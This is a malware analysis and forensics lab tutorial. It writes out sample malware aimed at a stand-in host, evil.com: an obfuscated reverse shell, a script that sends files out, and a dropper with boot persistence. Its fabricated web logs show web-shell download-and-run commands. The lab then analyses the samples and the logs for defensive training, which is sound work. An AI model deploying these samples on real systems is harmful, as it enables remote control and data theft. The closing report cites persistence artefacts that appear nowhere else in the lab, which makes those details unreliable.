Perform static and dynamic analysis of malicious scripts, then conduct digital forensics on a compromised system:
Static analysis — examine malware source without executing it; identify IOCs, obfuscation, and capabilities
Dynamic analysis — execute malware in an isolated container and observe system call behaviour
Log forensics — parse access logs, auth logs, and cron logs to reconstruct the attack timeline
Artefact recovery — find attacker-planted files, modified timestamps, and hidden data
Write an incident timeline — convert raw forensic evidence into a readable incident report
Background
Every breach leaves evidence. Forensics turns that evidence into a timeline. Malware analysis turns an unknown binary into a capability report. Both are essential for incident response, threat hunting, and building better defences.
Real-world examples:
2016 Bangladesh Bank SWIFT heist — forensic analysis of the attackers' tools revealed they used a custom malware family (Evtdiag) that specifically deleted Windows event log entries to slow investigation. Timeline reconstruction took 3 months.
2017 NotPetya — static analysis within hours of outbreak revealed it was not ransomware (no viable decryption mechanism) but a wiper. This changed the response from "pay the ransom" to "rebuild from backup."
2020 SolarWinds — Mandiant analysts performed static analysis of SUNBURST DLL; identified a 2-week dormancy period hardcoded in the malware designed to avoid sandbox analysis timeouts.
Log forensics (everyday SOC) — correlating access logs, auth logs, and DNS queries is the primary method for detecting lateral movement in 80%+ of enterprise incidents.
docker run --rm -it --name forensics-lab \
zchencow/innozverse-cybersec:latest bash
# Create malware samples for analysis
mkdir -p /lab/samples /lab/logs /lab/forensics
# Sample 1: Obfuscated downloader (base64 encoded)
python3 -c "
import base64
payload = '''import os,socket,subprocess
s=socket.socket()
s.connect(('evil.com',4444))
while True:
cmd=s.recv(1024).decode()
if cmd=='exit':break
out=subprocess.check_output(cmd,shell=True,stderr=subprocess.STDOUT)
s.send(out)
'''
encoded = base64.b64encode(payload.encode()).decode()
script = f'import base64,exec; exec(base64.b64decode(\"{encoded}\").decode())'
with open('/lab/samples/update_helper.py','w') as f:
f.write(f'#!/usr/bin/env python3\n# Auto-generated update helper\nimport base64\nexec(base64.b64decode(b\"{encoded}\").decode())\n')
print('Sample 1 written: update_helper.py')
"
# Sample 2: Keylogger skeleton
cat > /lab/samples/sys_monitor.sh << 'EOF'
#!/bin/bash
# "System Monitor" — actually exfiltrates
while true; do
ps aux >> /tmp/.proc_log
cat /proc/net/tcp >> /tmp/.net_log
find /home -name "*.txt" -newer /tmp/.marker 2>/dev/null | xargs cat >> /tmp/.exfil 2>/dev/null
curl -s -X POST http://evil.com/collect -d @/tmp/.exfil &>/dev/null
sleep 300
done
EOF
# Sample 3: Dropper that modifies timestamps
cat > /lab/samples/dropper.py << 'EOF'
#!/usr/bin/env python3
import os, subprocess, time
# Download secondary payload
os.system("curl -s http://evil.com/stage2.py -o /tmp/.cache/s2.py 2>/dev/null || true")
# Modify file timestamps to match system files (anti-forensics)
target = "/tmp/.cache/s2.py"
reference = "/etc/passwd"
os.system(f"touch -r {reference} {target} 2>/dev/null || true")
# Plant in startup
with open("/etc/profile.d/sys_init.sh", "w") as f:
f.write("python3 /tmp/.cache/s2.py &\n")
EOF
# Create realistic log data
cat > /lab/logs/access.log << 'LOGEOF'
192.168.1.100 - - [04/Mar/2026:08:00:01 +0000] "GET / HTTP/1.1" 200 1234
192.168.1.100 - - [04/Mar/2026:08:01:15 +0000] "GET /about HTTP/1.1" 200 890
10.0.0.5 - - [04/Mar/2026:09:14:22 +0000] "GET /wp-admin/ HTTP/1.1" 404 523
10.0.0.5 - - [04/Mar/2026:09:14:23 +0000] "GET /wp-login.php HTTP/1.1" 200 1050
10.0.0.5 - - [04/Mar/2026:09:14:23 +0000] "POST /wp-login.php HTTP/1.1" 200 1050
10.0.0.5 - - [04/Mar/2026:09:14:25 +0000] "GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 200 3210
10.0.0.5 - - [04/Mar/2026:09:14:30 +0000] "POST /wp-content/uploads/2024/shell.php HTTP/1.1" 200 48
10.0.0.5 - - [04/Mar/2026:09:14:31 +0000] "GET /wp-content/uploads/2024/shell.php?cmd=id HTTP/1.1" 200 35
10.0.0.5 - - [04/Mar/2026:09:15:00 +0000] "GET /wp-content/uploads/2024/shell.php?cmd=curl+-o+/tmp/r.sh+http://evil.com/r.sh HTTP/1.1" 200 35
10.0.0.5 - - [04/Mar/2026:09:15:05 +0000] "GET /wp-content/uploads/2024/shell.php?cmd=bash+/tmp/r.sh HTTP/1.1" 200 35
192.168.1.200 - - [04/Mar/2026:10:30:00 +0000] "GET /products HTTP/1.1" 200 4521
LOGEOF
cat > /lab/logs/auth.log << 'AUTHEOF'
Mar 4 08:00:01 server sshd[1234]: Accepted publickey for admin from 192.168.1.100 port 55234 ssh2
Mar 4 09:10:00 server sshd[2345]: Failed password for root from 10.0.0.5 port 44123 ssh2
Mar 4 09:10:01 server sshd[2346]: Failed password for root from 10.0.0.5 port 44124 ssh2
Mar 4 09:10:01 server sshd[2347]: Failed password for root from 10.0.0.5 port 44125 ssh2
Mar 4 09:10:02 server sshd[2348]: Failed password for root from 10.0.0.5 port 44126 ssh2
Mar 4 09:10:02 server sshd[2349]: Failed password for admin from 10.0.0.5 port 44127 ssh2
Mar 4 09:10:03 server sshd[2350]: Accepted password for deploy from 10.0.0.5 port 44128 ssh2
Mar 4 09:14:00 server sudo[3001]: deploy : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/bin/bash
Mar 4 09:15:30 server useradd[3100]: new user: name=sysmon, UID=0, GID=0
AUTHEOF
echo "[*] Lab environment ready"
ls /lab/samples/ /lab/logs/
python3 << 'EOF'
import base64, re, os
print("=" * 60)
print(" STATIC ANALYSIS: update_helper.py")
print("=" * 60)
print()
with open('/lab/samples/update_helper.py') as f:
content = f.read()
print("[1] File metadata:")
stat = os.stat('/lab/samples/update_helper.py')
print(f" Size: {stat.st_size} bytes")
print(f" First line: {content.splitlines()[0]}")
print()
# Find base64 strings
b64_matches = re.findall(r'b?"([A-Za-z0-9+/]{20,}={0,2})"', content)
print(f"[2] Base64 strings found: {len(b64_matches)}")
for m in b64_matches[:2]:
try:
decoded = base64.b64decode(m).decode('utf-8','ignore')
print(f" Encoded: {m[:40]}...")
print(f" Decoded: {decoded[:200]}")
except: pass
print()
# Extract IOCs
print("[3] Network IOCs (IPs, domains, ports):")
iocs = re.findall(r'(?:evil\.com|[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}|:\d{4,5})', decoded)
for ioc in set(iocs):
print(f" {ioc}")
print()
print("[4] Dangerous capabilities identified:")
capabilities = [
("socket.connect", "Reverse shell / C2 communication"),
("subprocess.check_output(...shell=True)", "Arbitrary OS command execution"),
("base64.b64decode + exec", "Obfuscated code execution — hides true payload"),
("while True: recv", "Persistent command loop — maintains shell session"),
]
decoded_lower = decoded.lower()
for api, desc in capabilities:
if any(x in decoded for x in [api.split('.')[0], api.split('(')[0]]):
print(f" ✗ {api:<40} → {desc}")
EOF
python3 << 'EOF'
print("=" * 60)
print(" LOG FORENSICS: access.log + auth.log")
print("=" * 60)
print()
with open('/lab/logs/access.log') as f:
access = f.readlines()
with open('/lab/logs/auth.log') as f:
auth = f.readlines()
# Phase 1: reconnaissance
recon_ips = {}
for line in access:
parts = line.split()
if len(parts) < 7: continue
ip = parts[0]
req = ' '.join(parts[5:8])
code = parts[8] if len(parts) > 8 else '?'
if ip not in recon_ips: recon_ips[ip] = []
recon_ips[ip].append((req, code))
print("[1] Access pattern by IP:")
for ip, reqs in recon_ips.items():
print(f" {ip}: {len(reqs)} requests")
for r, c in reqs[:3]:
print(f" {c} {r}")
if len(reqs) > 3: print(f" ... and {len(reqs)-3} more")
print()
# Phase 2: auth brute force
print("[2] Authentication events:")
fail_count = {}
for line in auth:
if 'Failed' in line:
ip = line.split('from ')[1].split()[0] if 'from ' in line else 'unknown'
fail_count[ip] = fail_count.get(ip, 0) + 1
elif 'Accepted' in line:
ip = line.split('from ')[1].split()[0] if 'from ' in line else 'unknown'
user = line.split('for ')[1].split()[0] if 'for ' in line else 'unknown'
print(f" ✓ LOGIN ACCEPTED: {user} from {ip}")
for ip, cnt in fail_count.items():
print(f" ✗ {cnt} failed attempts from {ip}")
print()
# Phase 3: privilege escalation
print("[3] Privilege escalation events:")
for line in auth:
if 'sudo' in line or 'useradd' in line or 'UID=0' in line:
print(f" {line.strip()}")
print()
print("[4] ATTACK TIMELINE:")
timeline = [
("09:10:00", "10.0.0.5", "SSH brute-force on root/admin (5 attempts)"),
("09:10:03", "10.0.0.5", "SSH login SUCCESS as 'deploy'"),
("09:14:00", "09:14:31", "Web shell uploaded via CVE (RevSlider path traversal)"),
("09:14:31", "10.0.0.5", "Web shell command execution: id, curl, bash r.sh"),
("09:14:00", "10.0.0.5", "sudo to root (NOPASSWD misconfiguration)"),
("09:15:30", "server", "Backdoor user 'sysmon' created with UID=0"),
]
for ts, actor, event in timeline:
print(f" [{ts}] {actor:<12} {event}")
EOF
[4] ATTACK TIMELINE:
[09:10:00] 10.0.0.5 SSH brute-force on root/admin (5 attempts)
[09:10:03] 10.0.0.5 SSH login SUCCESS as 'deploy'
[09:14:00] 09:14:31 Web shell uploaded via CVE (RevSlider)
[09:14:00] 10.0.0.5 sudo to root (NOPASSWD misconfiguration)
[09:15:30] server Backdoor user 'sysmon' created with UID=0
python3 << 'EOF'
import os, subprocess
print("[*] Hunting for attacker artefacts:")
print()
hunts = [
("Hidden files", "find /tmp /opt /var/www -name '.*' -type f 2>/dev/null"),
("Recently created users", "grep ':0:' /etc/passwd"),
("New cron entries", "find /etc/cron.d /var/spool/cron -type f 2>/dev/null"),
("Web shells", "find /lab/samples -name '*.php' -o -name '*.sh' 2>/dev/null"),
("Suspicious scripts", "grep -rl 'base64\\|eval\\|exec\\|shell_exec' /lab/samples/ 2>/dev/null"),
("Modified system files", "find /etc/profile.d -type f 2>/dev/null"),
]
for label, cmd in hunts:
print(f" [{label}]")
try:
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.DEVNULL).decode().strip()
if out:
for line in out.split('\n')[:3]:
print(f" {line}")
else:
print(" (none found)")
except: print(" (none found)")
print()
print("[*] Malware capability summary:")
samples = {
'update_helper.py': ['reverse_shell', 'c2_communication', 'obfuscation'],
'sys_monitor.sh': ['data_exfiltration', 'persistence', 'c2_exfil'],
'dropper.py': ['downloader', 'anti_forensics_timestomp', 'startup_persistence'],
}
for name, caps in samples.items():
print(f" {name}: {', '.join(caps)}")
EOF
exit
INCIDENT RESPONSE REPORT
Executive Summary:
On 04 March 2026, threat actor at 10.0.0.5 exploited CVE (RevSlider LFI)
to upload a web shell, escalated to root via sudo misconfiguration, and
installed three persistence mechanisms (SSH key, backdoor UID-0 user, cron).
Timeline: [see forensic log analysis above]
Indicators of Compromise:
- C2: evil.com port 4444
- Attacker IP: 10.0.0.5
- Backdoor user: sysmon (UID=0)
- Malware: /tmp/.cache/s2.py, /opt/.hidden_update.sh
- Web shell: /wp-content/uploads/2024/shell.php
Recommended Actions:
1. Block 10.0.0.5 at perimeter firewall
2. Remove sysmon user; audit all UID=0 accounts
3. Revoke and rotate all SSH keys and service account passwords
4. Patch RevSlider plugin; update WordPress
5. Fix sudo NOPASSWD misconfiguration
6. Restore from pre-incident backup after full sweep